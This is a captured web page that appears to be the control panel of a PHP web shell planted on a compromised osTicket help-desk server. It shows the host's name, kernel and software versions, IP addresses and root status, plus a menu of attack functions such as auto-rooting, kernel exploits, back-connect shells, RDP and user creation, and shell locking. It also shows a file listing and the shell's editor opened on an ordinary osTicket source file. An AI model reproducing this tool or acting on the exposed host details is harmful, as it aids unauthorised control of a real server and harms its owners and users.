Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxr-xr-x
client
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
fpdf
[ DIR ]
drwxr-xr-x
i18n
[ DIR ]
drwxr-xr-x
mpdf
[ DIR ]
drwxr-xr-x
pear
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
staff
[ DIR ]
drwxr-xr-x
upgrader
[ DIR ]
drwxr-xr-x
.MANIFEST
163.74
KB
-rw-r--r--
.htaccess
14
B
-rw-r--r--
JSON.php
33.13
KB
-rw-r--r--
PasswordHash.php
6.92
KB
-rw-r--r--
Spyc.php
31.73
KB
-rw-r--r--
UniversalClassLoader.php
8.61
KB
-rw-r--r--
ajax.admin.php
7.21
KB
-rw-r--r--
ajax.config.php
4.55
KB
-rw-r--r--
ajax.content.php
9.47
KB
-rw-r--r--
ajax.draft.php
12.72
KB
-rw-r--r--
ajax.export.php
1006
B
-rw-r--r--
ajax.filter.php
874
B
-rw-r--r--
ajax.forms.php
13.3
KB
-rw-r--r--
ajax.i18n.php
4.91
KB
-rw-r--r--
ajax.kbase.php
2.93
KB
-rw-r--r--
ajax.note.php
2.05
KB
-rw-r--r--
ajax.orgs.php
11.7
KB
-rw-r--r--
ajax.schedule.php
4.29
KB
-rw-r--r--
ajax.search.php
12.35
KB
-rw-r--r--
ajax.sequence.php
3.2
KB
-rw-r--r--
ajax.staff.php
7.84
KB
-rw-r--r--
ajax.tasks.php
30.25
KB
-rw-r--r--
ajax.thread.php
8.89
KB
-rw-r--r--
ajax.tickets.php
74
KB
-rw-r--r--
ajax.tips.php
1.66
KB
-rw-r--r--
ajax.upgrader.php
2.24
KB
-rw-r--r--
ajax.users.php
17.8
KB
-rw-r--r--
api.cron.php
909
B
-rw-r--r--
api.tickets.php
8.26
KB
-rw-r--r--
class.ajax.php
1.42
KB
-rw-r--r--
class.api.php
13.14
KB
-rw-r--r--
class.app.php
1.47
KB
-rw-r--r--
class.attachment.php
6.87
KB
-rw-r--r--
class.auth.php
43.91
KB
-rw-r--r--
class.avatar.php
6.43
KB
-rw-r--r--
class.banlist.php
2.54
KB
-rw-r--r--
class.base32.php
4.06
KB
-rw-r--r--
class.businesshours.php
6.72
KB
-rw-r--r--
class.canned.php
8.58
KB
-rw-r--r--
class.captcha.php
1.73
KB
-rw-r--r--
class.category.php
11.04
KB
-rw-r--r--
class.charset.php
3.4
KB
-rw-r--r--
class.cli.php
9.48
KB
-rw-r--r--
class.client.php
15.02
KB
-rw-r--r--
class.collaborator.php
5.44
KB
-rw-r--r--
class.company.php
2.65
KB
-rw-r--r--
class.config.php
58.51
KB
-rw-r--r--
class.cron.php
3.54
KB
-rw-r--r--
class.crypto.php
18.96
KB
-rw-r--r--
class.csrf.php
2.36
KB
-rw-r--r--
class.dept.php
32.39
KB
-rw-r--r--
class.dispatcher.php
6.72
KB
-rw-r--r--
class.draft.php
6.25
KB
-rw-r--r--
class.dynamic_forms.php
62.12
KB
-rw-r--r--
class.email.php
18.09
KB
-rw-r--r--
class.error.php
1.69
KB
-rw-r--r--
class.export.php
31.8
KB
-rw-r--r--
class.faq.php
15.05
KB
-rw-r--r--
class.file.php
32.41
KB
-rw-r--r--
class.filter.php
27.75
KB
-rw-r--r--
class.filter_action.php
20.27
KB
-rw-r--r--
class.format.php
40.68
KB
-rw-r--r--
class.forms.php
183.13
KB
-rw-r--r--
class.http.php
5.52
KB
-rw-r--r--
class.i18n.php
24.2
KB
-rw-r--r--
class.import.php
6.44
KB
-rw-r--r--
class.json.php
2.69
KB
-rw-r--r--
class.knowledgebase.php
5.8
KB
-rw-r--r--
class.list.php
41.85
KB
-rw-r--r--
class.lock.php
4.05
KB
-rw-r--r--
class.log.php
1.54
KB
-rw-r--r--
class.mailer.php
24.05
KB
-rw-r--r--
class.mailfetch.php
37.24
KB
-rw-r--r--
class.mailparse.php
26.7
KB
-rw-r--r--
class.message.php
6.4
KB
-rw-r--r--
class.migrater.php
5.2
KB
-rw-r--r--
class.misc.php
8.15
KB
-rw-r--r--
class.model.php
2.3
KB
-rw-r--r--
class.nav.php
14.14
KB
-rw-r--r--
class.note.php
2.39
KB
-rw-r--r--
class.organization.php
22.44
KB
-rw-r--r--
class.orm.php
119.54
KB
-rw-r--r--
class.osticket.php
18.8
KB
-rw-r--r--
class.ostsession.php
9.82
KB
-rw-r--r--
class.page.php
10.65
KB
-rw-r--r--
class.pagenate.php
5.13
KB
-rw-r--r--
class.passwd.php
1.19
KB
-rw-r--r--
class.pdf.php
3.62
KB
-rw-r--r--
class.plugin.php
23.89
KB
-rw-r--r--
class.priority.php
1.81
KB
-rw-r--r--
class.queue.php
102.01
KB
-rw-r--r--
class.report.php
11.47
KB
-rw-r--r--
class.role.php
11.12
KB
-rw-r--r--
class.schedule.php
46.03
KB
-rw-r--r--
class.search.php
56.26
KB
-rw-r--r--
class.sequence.php
7.27
KB
-rw-r--r--
class.setup.php
3.55
KB
-rw-r--r--
class.signal.php
4.16
KB
-rw-r--r--
class.sla.php
8.64
KB
-rw-r--r--
class.staff.php
52.41
KB
-rw-r--r--
class.task.php
49.97
KB
-rw-r--r--
class.team.php
12.01
KB
-rw-r--r--
class.template.php
23.33
KB
-rw-r--r--
class.thread.php
107.11
KB
-rw-r--r--
class.thread_actions.php
17.08
KB
-rw-r--r--
class.ticket.php
162.72
KB
-rw-r--r--
class.timezone.php
21.94
KB
-rw-r--r--
class.topic.php
19.07
KB
-rw-r--r--
class.translation.php
34.38
KB
-rw-r--r--
class.upgrader.php
13.54
KB
-rw-r--r--
class.user.php
42.45
KB
-rw-r--r--
class.usersession.php
4.99
KB
-rw-r--r--
class.util.php
8.01
KB
-rw-r--r--
class.validator.php
12.05
KB
-rw-r--r--
class.variable.php
11.93
KB
-rw-r--r--
class.xml.php
3.23
KB
-rw-r--r--
class.yaml.php
1.16
KB
-rw-r--r--
htmLawed.php
53.53
KB
-rw-r--r--
html2text.php
33.63
KB
-rw-r--r--
index.php
37
B
-rw-r--r--
mysqli.php
8.55
KB
-rw-r--r--
ost-config.php
5.61
KB
-rw-r--r--
ost-sampleconfig.php
5.62
KB
-rw-r--r--
tnef_decoder.php
19.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class.category.php
<?php /********************************************************************* class.category.php Backend support for article categories. Copyright (c) 2006-2013 osTicket http://www.osticket.com Released under the GNU General Public License WITHOUT ANY WARRANTY. See LICENSE.TXT for details. vim: expandtab sw=4 ts=4 sts=4: **********************************************************************/ require_once INCLUDE_DIR . 'class.faq.php'; class Category extends VerySimpleModel { static $meta = array( 'table' => FAQ_CATEGORY_TABLE, 'pk' => array('category_id'), 'ordering' => array('name'), 'joins' => array( 'parent' => array( 'constraint' => array('category_pid' => 'Category.category_id'), 'null' => true, ), 'children' => array( 'reverse' => 'Category.parent', ), 'faqs' => array( 'reverse' => 'FAQ.category' ), ), ); const VISIBILITY_FEATURED = 2; const VISIBILITY_PUBLIC = 1; const VISIBILITY_PRIVATE = 0; var $_local; /* ------------------> Getter methods <--------------------- */ function getId() { return $this->category_id; } function getName() { return $this->name; } function getFullName() { return self::getNameById($this->category_id) ?: $this->getLocalName(); } function getNumFAQs($primary=false) { $count = $this->faqs->count(); if (!$primary && $this->children) foreach ($this->children as $c) $count += $c->faqs->count(); return $count; } function getDescription() { return $this->description; } function getDescriptionWithImages() { return Format::viewableImages($this->description); } function getNotes() { return $this->notes; } function getCreateDate() { return $this->created; } function getUpdateDate() { return $this->updated; } function isPublic() { return $this->ispublic != self::VISIBILITY_PRIVATE; } function getVisibilityDescription() { switch ($this->ispublic) { case self::VISIBILITY_PRIVATE: return __('Private'); case self::VISIBILITY_PUBLIC: return __('Public'); case self::VISIBILITY_FEATURED: return __('Featured'); } } function getHashtable() { return $this->ht; } // Translation interface ---------------------------------- function getTranslateTag($subtag) { return _H(sprintf('category.%s.%s', $subtag, $this->getId())); } function getLocal($subtag) { $tag = $this->getTranslateTag($subtag); $T = CustomDataTranslation::translate($tag); return $T != $tag ? $T : $this->ht[$subtag]; } function getLocalDescriptionWithImages($lang=false) { return Format::viewableImages($this->_getLocal('description', $lang)); } function getLocalName($lang=false) { return $this->_getLocal('name', $lang); } function _getLocal($what, $lang=false) { if (!$lang) { $lang = $this->getDisplayLang(); } $translations = $this->getAllTranslations(); foreach ($translations as $t) { if (0 === strcasecmp($lang, $t->lang)) { $data = $t->getComplex(); if (isset($data[$what])) return $data[$what]; } } return $this->ht[$what]; } function getAllTranslations() { if (!isset($this->_local)) { $tag = $this->getTranslateTag('c:d'); $this->_local = CustomDataTranslation::allTranslations($tag, 'article'); } return $this->_local; } function getDisplayLang() { if (isset($_REQUEST['kblang'])) $lang = $_REQUEST['kblang']; else $lang = Internationalization::getCurrentLanguage(); return $lang; } function getTopArticles() { return $this->faqs ->filter(Q::not(array('ispublished'=>0))) ->order_by('-ispublished') ->limit(5); } function getPublicSubCategories() { return $this->getSubCategories(array('public' => true)); } function getSubCategories($criteria=array()) { $categories = self::objects() ->filter(array('category_pid' => $this->getId())); if (isset($criteria['public']) && $categories) { $categories ->exclude( Q::any(array( 'ispublic'=>Category::VISIBILITY_PRIVATE, 'faqs__ispublished'=>FAQ::VISIBILITY_PRIVATE, ))) ->annotate(array('faq_count' => SqlAggregate::COUNT( SqlCase::N() ->when(array( 'faqs__ispublished__gt'=> FAQ::VISIBILITY_PRIVATE), 1) ->otherwise(null) ))) ->filter(array('faq_count__gt'=>0)); } else { $categories ->annotate(array( 'faq_count'=>SqlAggregate::COUNT('faqs'))); } return $categories; } /* ------------------> Setter methods <--------------------- */ function setName($name) { $this->name=$name; } function setNotes($notes) { $this->notes=$notes; } function setDescription($desc) { $this->description=$desc; } /* --------------> Database access methods <---------------- */ function update($vars, &$errors, $validation=false) { // Cleanup. $vars['name'] = Format::striptags(trim($vars['name'])); // Validate if ($vars['id'] && $this->getId() != $vars['id']) $errors['err'] = __('Internal error occurred'); if (!$vars['name']) $errors['name'] = __('Category name is required'); elseif (strlen($vars['name']) < 3) $errors['name'] = __('Name is too short. 3 chars minimum'); elseif (($cid=self::findIdByName($vars['name'], $vars['pid'])) && $cid != $vars['id']) $errors['name'] = __('Category already exists'); if (!$vars['description']) $errors['description'] = __('Category description is required'); if ($errors) return false; /* validation only */ if ($validation) return true; $this->ispublic = $vars['ispublic']; $this->name = $vars['name']; $this->category_pid = $vars['pid'] ?: 0; $this->description = Format::sanitize($vars['description']); $this->notes = Format::sanitize($vars['notes']); if (!$this->save()) return false; if (isset($vars['trans']) && !$this->saveTranslations($vars)) return false; // TODO: Move FAQs if requested. return true; } function delete() { try { parent::delete(); } catch (OrmException $e) { return false; } return true; } function save($refetch=false) { if ($this->dirty) $this->updated = SqlFunction::NOW(); return parent::save($refetch || $this->dirty); } function saveTranslations($vars) { global $thisstaff; foreach ($this->getAllTranslations() as $t) { $trans = @$vars['trans'][$t->lang]; if (!$trans || !array_filter($trans)) // Not updating translations continue; // Content is not new and shouldn't be added below unset($vars['trans'][$t->lang]); $content = array('name' => $trans['name'], 'description' => Format::sanitize($trans['description'])); // Don't update content which wasn't updated if ($content == $t->getComplex()) continue; $t->text = $content; $t->agent_id = $thisstaff->getId(); $t->updated = SqlFunction::NOW(); if (!$t->save()) return false; } // New translations (?) $tag = $this->getTranslateTag('c:d'); foreach ($vars['trans'] as $lang=>$parts) { $content = array('name' => @$parts['name'], 'description' => Format::sanitize(@$parts['description'])); if (!array_filter($content)) continue; $t = CustomDataTranslation::create(array( 'type' => 'article', 'object_hash' => $tag, 'lang' => $lang, 'text' => $content, 'revision' => 1, 'agent_id' => $thisstaff->getId(), 'updated' => SqlFunction::NOW(), )); if (!$t->save()) return false; } return true; } /* ------------------> Static methods <--------------------- */ static function findIdByName($name, $pid=null) { $row = self::objects()->filter(array( 'name'=>$name, 'category_pid' => $pid ?: null ))->values_flat('category_id')->first(); return ($row) ? $row[0] : null; } static function findByName($name, $pid=null) { return self::objects()->filter(array( 'name'=>$name, 'category_pid' => $pid ?: null ))->one(); } static function getNameById($id) { $names = static::getCategories(); return $names[$id] ?: ''; } static function getFeatured() { return self::objects()->filter(array( 'ispublic'=>self::VISIBILITY_FEATURED )); } static function getCategories($criteria=null, $localize=true) { static $categories = null; if (!isset($categories) || $criteria) { $categories = array(); $query = self::objects(); $query->order_by('name') ->values('category_id', 'category_pid', 'name', 'parent'); foreach ($query as $row) $categories[$row['category_id']] = $row; // Resolve parent names $names = array(); foreach ($categories as $id=>$info) { $name = $info['name']; $loop = array($id=>true); $parent = false; while ($info['category_pid'] && ($info = $categories[$info['category_pid']])) { $name = sprintf('%s / %s', $info['name'], $name); if (isset($loop[$info['category_pid']])) break; $loop[$info['category_pid']] = true; $parent = $info; } // TODO: localize category names $names[$id] = $name; } asort($names); if ($criteria) return $names; $categories = $names; } return $categories; } static function create($vars=false) { $category = new static($vars); $category->created = SqlFunction::NOW(); return $category; } } ?>
Close